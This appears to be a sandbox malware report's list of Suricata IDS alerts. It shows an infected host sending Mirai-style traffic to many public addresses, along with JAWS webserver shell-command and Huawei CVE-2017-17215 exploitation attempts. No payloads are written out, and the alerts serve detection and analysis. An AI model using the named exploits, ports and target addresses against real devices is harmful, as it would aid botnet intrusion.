Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43660 -> 18.211.7.205:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60466 -> 51.194.102.135:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35336 -> 181.179.122.117:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59944 -> 81.68.222.43:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45660 -> 197.193.109.69:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35336 -> 181.179.122.117:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43660 -> 18.211.7.205:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59056 -> 187.240.42.70:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40332 -> 57.80.127.128:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60466 -> 51.194.102.135:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53818 -> 186.140.24.86:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45656 -> 181.236.160.87:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53818 -> 186.140.24.86:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45656 -> 181.236.160.87:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59056 -> 187.240.42.70:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57204 -> 67.165.85.6:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49646 -> 162.82.86.148:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49646 -> 162.82.86.148:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41132 -> 197.253.59.50:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45142 -> 64.213.12.242:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41132 -> 197.253.59.50:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57204 -> 67.165.85.6:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45142 -> 64.213.12.242:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38070 -> 126.106.81.125:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37520 -> 212.76.170.100:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38070 -> 126.106.81.125:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37520 -> 212.76.170.100:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48512 -> 185.106.6.240:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48512 -> 185.106.6.240:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60518 -> 173.191.101.175:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54956 -> 20.208.169.44:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54956 -> 20.208.169.44:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60518 -> 173.191.101.175:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36088 -> 34.35.216.85:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53798 -> 70.59.74.111:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36088 -> 34.35.216.85:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53798 -> 70.59.74.111:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34734 -> 59.157.117.58:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41920 -> 42.157.213.192:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40834 -> 151.62.98.232:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40834 -> 151.62.98.232:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41920 -> 42.157.213.192:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34734 -> 59.157.117.58:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60524 -> 207.154.231.3:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60524 -> 207.154.231.3:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53452 -> 96.7.66.49:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53452 -> 96.7.66.49:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52264 -> 41.75.37.101:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39614 -> 197.135.129.229:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60002 -> 197.119.240.72:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51070 -> 41.68.120.66:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36440 -> 156.188.250.125:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36928 -> 197.79.214.113:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40782 -> 156.70.75.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35808 -> 156.69.33.115:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38512 -> 41.91.233.173:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36032 -> 156.110.125.63:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43142 -> 197.158.250.72:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41278 -> 197.50.83.42:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37280 -> 41.183.207.233:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40834 -> 156.159.12.120:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40232 -> 156.18.88.219:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58916 -> 197.222.83.103:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33276 -> 197.166.189.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50944 -> 197.59.152.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57396 -> 197.215.104.102:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59906 -> 145.105.254.172:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59906 -> 145.105.254.172:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41888 -> 8.105.165.198:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54002 -> 93.194.223.82:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41888 -> 8.105.165.198:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54002 -> 93.194.223.82:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44126 -> 32.198.110.33:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50180 -> 208.246.133.237:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43128 -> 4.17.178.247:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43802 -> 79.74.148.82:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44126 -> 32.198.110.33:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50180 -> 208.246.133.237:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60512 -> 143.141.87.96:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43128 -> 4.17.178.247:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47072 -> 136.13.75.65:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60512 -> 143.141.87.96:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47072 -> 136.13.75.65:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43802 -> 79.74.148.82:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51182 -> 46.19.30.11:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51182 -> 46.19.30.11:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37822 -> 25.253.247.243:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37822 -> 25.253.247.243:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56784 -> 23.46.95.33:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56784 -> 23.46.95.33:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50612 -> 2.81.246.81:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60294 -> 156.221.107.169:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50612 -> 2.81.246.81:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44024 -> 185.221.32.180:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44024 -> 185.221.32.180:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56978 -> 41.140.236.148:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59458 -> 81.168.40.42:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59458 -> 81.168.40.42:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58894 -> 97.66.36.254:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58894 -> 97.66.36.254:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57176 -> 82.135.213.51:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48850 -> 156.125.207.114:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44394 -> 52.117.45.194:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57176 -> 82.135.213.51:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52706 -> 197.216.74.198:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45868 -> 156.79.21.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48190 -> 156.190.175.18:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39888 -> 96.227.56.195:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39888 -> 96.227.56.195:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41664 -> 24.242.230.192:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55744 -> 119.211.146.165:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47658 -> 156.128.47.189:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44394 -> 52.117.45.194:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48860 -> 168.79.240.244:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41300 -> 69.255.176.9:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48860 -> 168.79.240.244:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60028 -> 104.234.241.23:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37090 -> 61.41.15.72:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60028 -> 104.234.241.23:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39552 -> 32.227.59.119:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:32938 -> 183.134.212.93:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41664 -> 24.242.230.192:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:32938 -> 183.134.212.93:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36052 -> 185.96.7.190:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39454 -> 150.63.45.186:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39454 -> 150.63.45.186:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37090 -> 61.41.15.72:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49798 -> 18.145.102.122:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58148 -> 71.187.196.149:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58478 -> 104.94.144.183:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49798 -> 18.145.102.122:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34690 -> 142.202.33.132:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54830 -> 120.196.61.187:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47556 -> 216.131.217.108:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33458 -> 92.42.91.229:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43838 -> 207.88.49.48:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36052 -> 185.96.7.190:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33458 -> 92.42.91.229:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37672 -> 94.147.154.72:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37672 -> 94.147.154.72:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35892 -> 197.116.233.17:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41300 -> 69.255.176.9:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48818 -> 172.153.131.92:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58148 -> 71.187.196.149:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37778 -> 197.244.48.70:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56822 -> 51.137.140.164:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56822 -> 51.137.140.164:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34436 -> 24.149.246.129:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58478 -> 104.94.144.183:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39532 -> 5.104.106.96:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45934 -> 139.246.200.67:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45934 -> 139.246.200.67:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54830 -> 120.196.61.187:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47556 -> 216.131.217.108:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34222 -> 147.179.254.202:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34222 -> 147.179.254.202:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39552 -> 32.227.59.119:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43838 -> 207.88.49.48:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38022 -> 156.223.49.69:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40592 -> 141.173.180.9:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40592 -> 141.173.180.9:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60286 -> 138.250.81.210:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60286 -> 138.250.81.210:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43842 -> 41.0.186.183:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57976 -> 199.155.1.164:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57976 -> 199.155.1.164:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48818 -> 172.153.131.92:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38100 -> 42.199.59.6:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38100 -> 42.199.59.6:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33604 -> 40.18.80.153:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33604 -> 40.18.80.153:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34066 -> 68.81.161.145:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34066 -> 68.81.161.145:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59934 -> 197.26.233.44:37215
